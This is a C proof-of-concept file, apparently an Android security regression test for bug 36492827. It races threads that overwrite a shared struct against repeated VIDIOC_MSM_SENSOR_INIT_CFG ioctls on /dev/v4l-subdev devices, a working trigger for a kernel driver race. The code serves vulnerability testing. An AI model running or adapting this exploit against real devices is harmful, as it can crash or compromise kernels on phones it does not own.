Home | History | Annotate | Download | only in Bug-36492827
      1 /**
      2  * Copyright (C) 2017 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 
     17 #ifndef _GNU_SOURCE
     18 #define _GNU_SOURCE
     19 #endif
     20 
     21 #include <string.h>
     22 
     23 #include <android/log.h>
     24 #include <dirent.h>
     25 #include <dlfcn.h>
     26 #include <errno.h>
     27 #include <fcntl.h>
     28 #include <linux/futex.h>
     29 #include <pthread.h>
     30 #include <sched.h>
     31 #include <signal.h>
     32 #include <stdbool.h>
     33 #include <stdio.h>
     34 #include <stdlib.h>
     35 #include <sys/ioctl.h>
     36 #include <sys/mman.h>
     37 #include <sys/mount.h>
     38 #include <sys/ptrace.h>
     39 #include <sys/select.h>
     40 #include <sys/socket.h>
     41 #include <sys/stat.h>
     42 #include <sys/syscall.h>
     43 #include <sys/system_properties.h>
     44 #include <sys/time.h>
     45 #include <sys/types.h>
     46 #include <sys/un.h>
     47 #include <sys/utsname.h>
     48 #include <sys/wait.h>
     49 #include <unistd.h>
     50 
     51 #define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]))
     52 typedef signed char s8;
     53 typedef unsigned char u8;
     54 
     55 typedef signed short s16;
     56 typedef unsigned short u16;
     57 
     58 typedef signed int s32;
     59 typedef unsigned int u32;
     60 
     61 typedef signed long long s64;
     62 typedef unsigned long long u64;
     63 
     64 #define MAX_SENSOR_NAME 32
     65 #define MAX_POWER_CONFIG 12
     66 
     67 enum sensor_sub_module_t {
     68   SUB_MODULE_SENSOR,
     69   SUB_MODULE_CHROMATIX,
     70   SUB_MODULE_ACTUATOR,
     71   SUB_MODULE_EEPROM,
     72   SUB_MODULE_LED_FLASH,
     73   SUB_MODULE_STROBE_FLASH,
     74   SUB_MODULE_CSID,
     75   SUB_MODULE_CSID_3D,
     76   SUB_MODULE_CSIPHY,
     77   SUB_MODULE_CSIPHY_3D,
     78   SUB_MODULE_OIS,
     79   SUB_MODULE_EXT,
     80   SUB_MODULE_MAX,
     81 };
     82 
     83 enum msm_sensor_init_cfg_type_t {
     84   CFG_SINIT_PROBE,
     85   CFG_SINIT_PROBE_DONE,
     86   CFG_SINIT_PROBE_WAIT_DONE,
     87 };
     88 
     89 enum camb_position_t {
     90   BACK_CAMERA_B,
     91   FRONT_CAMERA_B,
     92   AUX_CAMERA_B = 0x100,
     93   INVALID_CAMERA_B,
     94 };
     95 
     96 enum msm_sensor_camera_id_t {
     97   CAMERA_0,
     98   CAMERA_1,
     99   CAMERA_2,
    100   CAMERA_3,
    101   MAX_CAMERAS,
    102 };
    103 
    104 enum i2c_freq_mode_t {
    105   I2C_STANDARD_MODE,
    106   I2C_FAST_MODE,
    107   I2C_CUSTOM_MODE,
    108   I2C_CUSTOM1_MODE,
    109   I2C_CUSTOM2_MODE,
    110   I2C_FAST_PLUS_MODE,
    111   I2C_MAX_MODES,
    112 };
    113 
    114 enum msm_camera_i2c_reg_addr_type {
    115   MSM_CAMERA_I2C_BYTE_ADDR = 1,
    116   MSM_CAMERA_I2C_WORD_ADDR,
    117   MSM_CAMERA_I2C_3B_ADDR,
    118   MSM_CAMERA_I2C_ADDR_TYPE_MAX,
    119 };
    120 
    121 enum msm_sensor_power_seq_type_t {
    122   SENSOR_CLK,
    123   SENSOR_GPIO,
    124   SENSOR_VREG,
    125   SENSOR_I2C_MUX,
    126   SENSOR_I2C,
    127 };
    128 
    129 enum msm_sensor_output_format_t {
    130   MSM_SENSOR_BAYER,
    131   MSM_SENSOR_YCBCR,
    132   MSM_SENSOR_META,
    133 };
    134 
    135 struct msm_sensor_init_params {
    136   /* mask of modes supported: 2D, 3D */
    137   int modes_supported;
    138   /* sensor position: front, back */
    139   enum camb_position_t position;
    140   /* sensor mount angle */
    141   unsigned int sensor_mount_angle;
    142 };
    143 
    144 struct msm_sensor_id_info_t {
    145   unsigned short sensor_id_reg_addr;
    146   unsigned short sensor_id;
    147   unsigned short sensor_id_mask;
    148 };
    149 
    150 struct msm_sensor_power_setting {
    151   enum msm_sensor_power_seq_type_t seq_type;
    152   unsigned short seq_val;
    153   long config_val;
    154   unsigned short delay;
    155   void *data[10];
    156 };
    157 
    158 struct msm_sensor_power_setting_array {
    159   struct msm_sensor_power_setting power_setting_a[MAX_POWER_CONFIG];
    160   struct msm_sensor_power_setting *power_setting;
    161   unsigned short size;
    162   struct msm_sensor_power_setting power_down_setting_a[MAX_POWER_CONFIG];
    163   struct msm_sensor_power_setting *power_down_setting;
    164   unsigned short size_down;
    165 };
    166 
    167 struct msm_sensor_info_t {
    168   char sensor_name[MAX_SENSOR_NAME];
    169   uint32_t session_id;
    170   int32_t subdev_id[SUB_MODULE_MAX];
    171   int32_t subdev_intf[SUB_MODULE_MAX];
    172   uint8_t is_mount_angle_valid;
    173   uint32_t sensor_mount_angle;
    174   int modes_supported;
    175   enum camb_position_t position;
    176 };
    177 
    178 struct msm_camera_sensor_slave_info {
    179   char sensor_name[32];
    180   char eeprom_name[32];
    181   char actuator_name[32];
    182   char ois_name[32];
    183   char flash_name[32];
    184   enum msm_sensor_camera_id_t camera_id;
    185   unsigned short slave_addr;
    186   enum i2c_freq_mode_t i2c_freq_mode;
    187   enum msm_camera_i2c_reg_addr_type addr_type;
    188   struct msm_sensor_id_info_t sensor_id_info;
    189   struct msm_sensor_power_setting_array power_setting_array;
    190   unsigned char is_init_params_valid;
    191   struct msm_sensor_init_params sensor_init_params;
    192   enum msm_sensor_output_format_t output_format;
    193 };
    194 
    195 struct sensor_init_cfg_data {
    196   enum msm_sensor_init_cfg_type_t cfgtype;
    197   struct msm_sensor_info_t probed_info;
    198   char entity_name[MAX_SENSOR_NAME];
    199   union {
    200     void *setting;
    201   } cfg;
    202 };
    203 
    204 typedef s16 compat_short_t;
    205 typedef s32 compat_int_t;
    206 typedef s32 compat_long_t;
    207 typedef s64 compat_s64;
    208 typedef u16 compat_ushort_t;
    209 typedef u32 compat_uint_t;
    210 typedef u32 compat_ulong_t;
    211 typedef u64 compat_u64;
    212 typedef u32 compat_uptr_t;
    213 
    214 struct msm_sensor_power_setting32 {
    215   enum msm_sensor_power_seq_type_t seq_type;
    216   uint16_t seq_val;
    217   compat_uint_t config_val;
    218   uint16_t delay;
    219   compat_uptr_t data[10];
    220 };
    221 
    222 struct msm_sensor_power_setting_array32 {
    223   struct msm_sensor_power_setting32 power_setting_a[MAX_POWER_CONFIG];
    224   compat_uptr_t power_setting;
    225   uint16_t size;
    226   struct msm_sensor_power_setting32 power_down_setting_a[MAX_POWER_CONFIG];
    227   compat_uptr_t power_down_setting;
    228   uint16_t size_down;
    229 };
    230 
    231 struct msm_camera_sensor_slave_info32 {
    232   char sensor_name[32];
    233   char eeprom_name[32];
    234   char actuator_name[32];
    235   char ois_name[32];
    236   char flash_name[32];
    237   enum msm_sensor_camera_id_t camera_id;
    238   uint16_t slave_addr;
    239   enum i2c_freq_mode_t i2c_freq_mode;
    240   enum msm_camera_i2c_reg_addr_type addr_type;
    241   struct msm_sensor_id_info_t sensor_id_info;
    242   struct msm_sensor_power_setting_array32 power_setting_array;
    243   uint8_t is_init_params_valid;
    244   struct msm_sensor_init_params sensor_init_params;
    245   enum msm_sensor_output_format_t output_format;
    246 };
    247 
    248 #define BASE_VIDIOC_PRIVATE 192
    249 #define VIDIOC_MSM_SENSOR_INIT_CFG \
    250   _IOWR('V', BASE_VIDIOC_PRIVATE + 10, struct sensor_init_cfg_data)
    251 
    252 struct msm_camera_sensor_slave_info32 slave_info;
    253 int fd;
    254 
    255 static void *raceCondition(void *param) {
    256   while (1) {
    257     memset(&slave_info, 'A', sizeof(slave_info));
    258     usleep(50);
    259   }
    260 }
    261 
    262 static void *normalfunc(void *param) {
    263   while (1) {
    264     struct sensor_init_cfg_data cfg;
    265     cfg.cfgtype = CFG_SINIT_PROBE;
    266 
    267     cfg.cfg.setting = &slave_info;
    268     slave_info.camera_id = CAMERA_2;
    269     slave_info.power_setting_array.size = 1;
    270 
    271     struct msm_sensor_power_setting power_setting;
    272 
    273     slave_info.power_setting_array.size_down = MAX_POWER_CONFIG;
    274 
    275     struct msm_sensor_power_setting pd[MAX_POWER_CONFIG];
    276     slave_info.power_setting_array.power_down_setting = 0;
    277 
    278     slave_info.eeprom_name[31] = 0;
    279     slave_info.actuator_name[31] = 0;
    280     slave_info.ois_name[31] = 0;
    281     slave_info.sensor_name[31] = 0;
    282     slave_info.flash_name[31] = 0;
    283     slave_info.i2c_freq_mode = 0x0;
    284     int ret = ioctl(fd, VIDIOC_MSM_SENSOR_INIT_CFG, &cfg);
    285   }
    286 }
    287 
    288 int function1() {
    289   char filename[32] = {0};
    290   for (int i = 0; i < 32; i++) {
    291     if (snprintf(filename, sizeof(filename), "/dev/v4l-subdev%d", i) < 0) {
    292       exit(EXIT_FAILURE);
    293     }
    294 
    295     fd = open(filename, 2);
    296     if (fd < 0) {
    297       continue;
    298     }
    299 
    300     pthread_t raceConditionthread;
    301     for (int i = 0; i < 1; i++) {
    302       if (pthread_create(&raceConditionthread, NULL, raceCondition, NULL))
    303         perror("raceConditionthread raceConditionthread()");
    304     }
    305 
    306     pthread_t normalthread;
    307     for (int i = 0; i < 3; i++) {
    308       if (pthread_create(&normalthread, NULL, normalfunc, NULL))
    309         perror("normalfunc normalfunc()");
    310     }
    311   }
    312   return 0;
    313 }
    314 
    315 int main(int argc, char **argv, char **env) { return function1(); }
    316